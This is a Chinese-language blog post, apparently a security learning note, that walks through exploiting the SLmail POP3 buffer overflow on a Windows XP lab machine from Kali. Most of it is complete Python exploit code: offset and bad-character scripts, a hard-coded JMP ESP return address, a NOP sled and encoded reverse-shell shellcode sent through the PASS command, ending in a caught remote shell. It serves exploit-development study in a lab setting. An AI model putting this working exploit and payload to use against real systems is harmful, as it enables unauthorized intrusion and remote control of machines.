实验机器:

Kali虚拟机一台(192.168.163.133)

Windows XP虚拟机一台(192.168.163.130)

如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢?

用到的软件:

SLmail程序(存在缓冲区溢出漏洞)

ImmunityDebugger(调试工具)

mona脚本(配合调试工具使用)

这些在准备工作的文章中有百度网盘下载地址

实验目的:

用Kali虚拟机发送脚本,完成对SLmail程序的缓冲区溢出漏洞的利用

从而获取目标windows机器的最高权限

粗俗来说:黑了这个windows机器

缓冲区溢出漏洞的概念以及实验准备:

https://www.cnblogs.com/xuyiqing/p/9835561.html

缓冲区溢出实验(漏洞发现):

https://www.cnblogs.com/xuyiqing/p/9849072.html

接着上篇文章:

上次以及精确定位到EIP在2606位置

那么是否可以修改ESP寄存器呢?

如何确认ESP寄存器的大小呢?

写一个小脚本:

#!/usr/bin/python
import socket buffer = 'A' * 2606 + 'B' * 4 + 'C' * (3500 - 2606 - 4) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
print "\nSending evil buffer...\n"
s.connect(('192.168.163.133', 110))
data1 = s.recv(1024)
s.send('USER test' + '\r\n')
data2 = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print '\nDone'
except:
print 'Can not connect to POP3'

OK,隔了一段时间,先确认下有限服务器是否有问题:

没有问题,打开调试工具,attach到SLmail,可以尝试脚本:

看看调试工具:

EIP被精确地塞满B,ESP被塞满C

选中ESP右键Follow in dump:

再右键Hex选择ascii 16bytes格式显示:

观察C地起始位置和结束位置:

就我这里而言:起始地址0212A158,终止地址:0212A2F8

计算:

打开科学计算器,16进制计算,2F8-158,得到结果1A0

转换成10进制是416

思路:

通常使用的shellcode至少需要300字节左右

这里416个字节是足够的

如果我ESP这里上传一个shellcode,通过修改EIP的地址

让程序跳转到ESP寄存器,提取Shellcode代码执行

接下来就可以获取目标机器的最高权限

接下来我们具体实现:

其实思路看似很简单,但是这之中还有一些细节问题必须要解决:

比如:有些字符在缓冲区有特定用途,不可以作为代码使用

就像0x00,终止字符串拷贝操作,0x0D,表示命令输入完毕

而这些字符根据协议和程序不同而不同,这些坏字符是不可以出现在缓冲区的

所以,我们需要先解决这些坏字符:确认哪些字符是坏字符

写一个脚本来确认:

发送0x00-0xff一共256个字符,一个一个地确认

想办法拼凑这些字符:然后发送

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00") buffer = "A" * 2606 + "B" * 4 + badchars
try:
print "\nSending evil buffer...\n"
s.connect(('192.168.163.133', 110))
data1 = s.recv(1024)
s.send('USER test' + '\r\n')
data2 = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print '\nDone'
except:
print 'Can not connect to POP3'

OK,我们来试试(如果Slmail服务崩了重启一下):

发送过去看看调试工具:选择ESP右键dump看详细

仔细观察:发现01到09都发送过去了,而0A以后出问题了,缓冲区不能接收0A字符

大胆猜测:0A是个坏字符

OK,那么我们把脚本里面的0A去掉:

继续执行脚本:(注意重启POP服务)

不错,发现除了去掉的0A,00和0D(0D被过滤掉了),其他的字符全部都出现了

于是可以总结出:缓冲区的字符不能出现0A,0D,00

接下来就可以做数据的重定向:

把EIP四个字节改为ESP的地址理论上CPU在EIP提取地址读取然后执行

看似很简单,其实还有很多的细节要处理

比如:ESP的地址是变化的,不可以硬编码

因为:Slmail是基于线程的应用程序,操作系统给每个线程分配一个地址范围,每个线程地址范围随机

变通思路

目标内存地址变动时候,在内存中寻找一个操作系统自带的模块,而且这个模块的地址是固定

找个一个不变的内存地址,调用系统模块的JMP,ESP指令的地址,再由该指令间接跳转

即:把Slmail的EIP寄存器放入上边说到的这个固定模块的JMP,ESP指令的地址,CPU读取JMP,ESP内存地址,进而跳到shellcode

形象来说:就是某男想要追女神,但不知道她的微信,但某男认识她的闺蜜,这样一来就可以得到女神微信了(可能不合适,大概理解下)

接下来呢?

如何知道哪个系统模块的地址是固定的呢?

这里就需要用到准备工作里面的mona.py脚本(把脚本放在调试工具目录里面)

左下角输入!mona modules查询所有系统模块:

关注rebase这一栏:重启内存地址是否变化,我们必须找false的

ASLR和SafeSEH和NSCompat都是保护内存的项目

因此,我们要找前四项都是false的

OS dll这一列要选true,不同系统都可以利用的

仔细寻找后,发现:OpenC32.dll可以使用

继续使用mona查询下OpenC32.dll里面是否有JMP,ESP指令可以调用:

!mona find -s" " -m module 命令可以查询

注意查询命令不可以直接查JMP ESP

这是汇编指令,而内存中使用的是二进制

这里需要使用Kali系统自带的一个工具:可以将汇编指令转换成二进制

发现转换成二进制是FFE4:

搜索FFE4:

没找到:

一样的方法在下面找找:

只有SLMFC.DLL和MFC42LOC.DLL前四项false,最后一项true

分别试下:

终于找到了!哈哈

而且有19条(由于Slmail不含有很内存保护机制,所以理论上这19个都可以实现利用)

如果有内存保护机制,需要下面这个有R(读)和E(执行)权限的(菜单栏点击m打开内存地图)

19条中随便打开一个,右键dis开头的选项:

找到了:5F4B41E3地址

接下来就可以使用这个地址

可以地址右键memory on access(开启断点)后边测试看

继续,我们针对这个写一个脚本:(注意地址要反过来写)

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "C" * 390
try:
print "\nSending evil buffer...\n"
s.connect(('192.168.163.133', 110))
data1 = s.recv(1024)
s.send('USER test' + '\r\n')
data2 = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print '\nDone'
except:
print 'Can not connect to POP3'

测试:正确跳转

接下来就是最后一部了:

把ESP里面这一堆C修改成Shellcode

那么shellcode怎么获取呢?

利用Kali里面现成的shellcode:

msfpayload

具体使用:

我的思路是Kali机器开一个端口,让windows机器自己连过来

这样可以避免被防火墙屏蔽(虽然现在我把防火墙关了)

让目标把shell给我

指定反向连接的IP和端口,针对win32

这里就生成了一个shellcode

但是这个shellcode不能直接用,因为含有坏字符

所以要去掉坏字符

这里就要用到另一个工具了:Msfencode

把这些shellcode复制出来,继续写一个脚本:

这里加了8个\x90是什么意思呢?

汇编语言的\x90意思是不操作

这里是为了保障汇编语言运行的有效性(经验之谈,防止异常)

#!/usr/bin/python
import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shellcode = ("\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xab\x9c\x6d" +
"\xf8\x83\xeb\xfc\xe2\xf4\x57\xf6\x86\xb5\x43\x65\x92\x07\x54\xfc" +
"\xe6\x94\x8f\xb8\xe6\xbd\x97\x17\x11\xfd\xd3\x9d\x82\x73\xe4\x84" +
"\xe6\xa7\x8b\x9d\x86\xb1\x20\xa8\xe6\xf9\x45\xad\xad\x61\x07\x18" +
"\xad\x8c\xac\x5d\xa7\xf5\xaa\x5e\x86\x0c\x90\xc8\x49\xd0\xde\x79" +
"\xe6\xa7\x8f\x9d\x86\x9e\x20\x90\x26\x73\xf4\x80\x6c\x13\xa8\xb0" +
"\xe6\x71\xc7\xb8\x71\x99\x68\xad\xb6\x9c\x20\xdf\x5d\x73\xeb\x90" +
"\xe6\x88\xb7\x31\xe6\xb8\xa3\xc2\x05\x76\xe5\x92\x81\xa8\x54\x4a" +
"\x0b\xab\xcd\xf4\x5e\xca\xc3\xeb\x1e\xca\xf4\xc8\x92\x28\xc3\x57" +
"\x80\x04\x90\xcc\x92\x2e\xf4\x15\x88\x9e\x2a\x71\x65\xfa\xfe\xf6" +
"\x6f\x07\x7b\xf4\xb4\xf1\x5e\x31\x3a\x07\x7d\xcf\x3e\xab\xf8\xdf" +
"\x3e\xbb\xf8\x63\xbd\x90\x6b\x34\xce\x7c\xcd\xf4\x6c\x44\xcd\xcf" +
"\xe4\x19\x3e\xf4\x81\x01\x01\xfc\x3a\x07\x7d\xf6\x7d\xa9\xfe\x63" +
"\xbd\x9e\xc1\xf8\x0b\x90\xc8\xf1\x07\xa8\xf2\xb5\xa1\x71\x4c\xf6" +
"\x29\x71\x49\xad\xad\x0b\x01\x09\xe4\x05\x55\xde\x40\x06\xe9\xb0" +
"\xe0\x82\x93\x37\xc6\x53\xc3\xee\x93\x4b\xbd\x63\x18\xd0\x54\x4a" +
"\x36\xaf\xf9\xcd\x3c\xa9\xc1\x9d\x3c\xa9\xfe\xcd\x92\x28\xc3\x31" +
"\xb4\xfd\x65\xcf\x92\x2e\xc1\x63\x92\xcf\x54\x4c\x05\x1f\xd2\x5a" +
"\x14\x07\xde\x98\x92\x2e\x54\xeb\x91\x07\x7b\xf4\x9d\x72\xaf\xc3" +
"\x3e\x07\x7d\x63\xbd\xf8") buffer = "A" * 2606 + "\xe3\x41\x4b\x5f" + "\x90" * 8 + shellcode
try:
print "\nSending evil buffer...\n"
s.connect(('192.168.163.133', 110))
data1 = s.recv(1024)
s.send('USER test' + '\r\n')
data2 = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()
print '\nDone'
except:
print 'Can not connect to POP3'

发送过去!

理想情况:如果脚本执行成功,会反弹回连444端口

所以我先侦听kali的444端口:

成功!我们可以操作windows系统了!

OK!拿下了windowsxp系统(乱码小问题,不用在意)

成功黑掉了windowsxp机器,哈哈哈

Kali学习笔记22:缓冲区溢出漏洞利用实验的更多相关文章

  1. XSS学习笔记(四)-漏洞利用全过程

    <script type="text/javascript" reload="1">setTimeout("window.location ...

  2. Kali学习笔记21:缓冲区溢出实验(漏洞发现)

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作: https://www.cnblogs.com/xuyiqing/p/9835561.html 下面就是Kali虚拟机对缓冲区溢出的测试: 已经知道 ...

  3. Kali学习笔记33:Linux系统缓冲区溢出实验

    之前做过一个Windows应用SLmail的缓冲区溢出的实验 这次来做一个Linux平台的缓冲区溢出实验: 缓冲区溢出是什么? 学过汇编的应该知道,当缓冲区边界限制不严格时,由于变量传入畸形数据或程序 ...

  4. Kali学习笔记20:缓冲区溢出实验环境准备

    在前几篇的博客中:我介绍了OpenVAS和Nessus这两个强大的自动化漏洞扫描器 但是,在计算机领域中有种叫做0day漏洞:没有公开只掌握在某些人手中 那么,这些0day漏洞是如何被发现的呢? 接下 ...

  5. TP-Link TL-WR841N v14 CVE-2019-17147 缓冲区溢出漏洞分析笔记v2018.12.31

    0x00 背景 Httpd服务中的缓冲区溢出漏洞 复现参考文章https://www.4hou.com/posts/gQG9 Binwalk -Me 解压缩 File ./bin/busybox文件类 ...

  6. Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞

    漏洞名称: Samba ‘dcerpc_read_ncacn_packet_done’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201312-169 发布时间: 2013-12-12 更新时间 ...

  7. Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘qeth_snmp_command’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-423 发布时间: 2013-11-29 更新时间: 201 ...

  8. Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞

    漏洞名称: Linux kernel ‘xfs_attrlist_by_handle()’函数缓冲区溢出漏洞 CNNVD编号: CNNVD-201311-392 发布时间: 2013-11-29 更新 ...

  9. kali linux之edb--CrossFire缓冲区溢出

    漏洞的罪恶根源------变量,数据与代码边界不清,开发人员对用户输入没做过滤,或者过滤不严 如这个脚本,写什么,显示什么,但是加上:,|,&&,后面加上系统命令,就执行命令了 缓冲区 ...

随机推荐

  1. 带缓冲I/O 和不带缓冲I/O的区别与联系

    首先要明白不带缓冲的概念:所谓不带缓冲,并不是指内核不提供缓冲,而是只单纯的系统调用,不是函数库的调用.系统内核对磁盘的读写都会提供一个块缓冲(在有些地方也被称为内核高速缓存),当用write函数对其 ...

  2. python3 第三十章 - 内置函数之Dictionary相关

    Python字典包含了以下内置函数: 序号 函数及描述 实例 1 len(dict)计算字典元素个数,即键的总数. >>> dict = {'Name': 'cnblogs', 'A ...

  3. 关于jquery的选择器中的空格问题

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  4. Sqlite3数据库查看工具

    SQLiteSpy     小巧便捷,免安装,占空间小. 推荐 http://www.softpedia.com/get/Internet/Servers/Database-Utils/SQLiteS ...

  5. 【mysql】:mysql性能优化总结

    一.Mysql引擎概述 1.MyISAM存储引擎 MyISAM表是独立于操作系统的,这说明可以轻松地将其从Windows服务器移植到Linux服务器:每当我们建立一个MyISAM引擎的表时,就会在本地 ...

  6. SHELL脚本学习-自动生成AWR报告

    自动生成AWR报告,每个小时生成一次. #编辑脚本:vim awr_auto.sh #oracle用户下执行 #!/bin/bash # 每个小时执行一次,自动生成AWR报告 source ~/.ba ...

  7. lumen框架学习01——引入自定义类和函数

    引入自定义的functions.php文件,首先把functions.php文件放在app的目录下,然后通过根目录的composer.json文件引入,具体操作如下图: 引入类文件也是一样,具体可参考 ...

  8. mui getJSON实现jsonp跨域

    //刚开始做APP的时候,后台给的方式是jsonp,然后就百度mui框架的jsonp跨域,看了好多文章,都说可以支持,但是大部分都是直接把别人复制来的,都不知道是不是真的能支持,做好打包完的时候,下载 ...

  9. ADO SQL手写分页

    //实现层 ---------------------------------------------------------分割线---------------------------------- ...

  10. Waiting for table metadata lock

    出现下图这个现象之前是在一张事务操作频繁地表上,执行了truncate操作. mysql.sock@(none)> select user,host,db,command,time,state, ...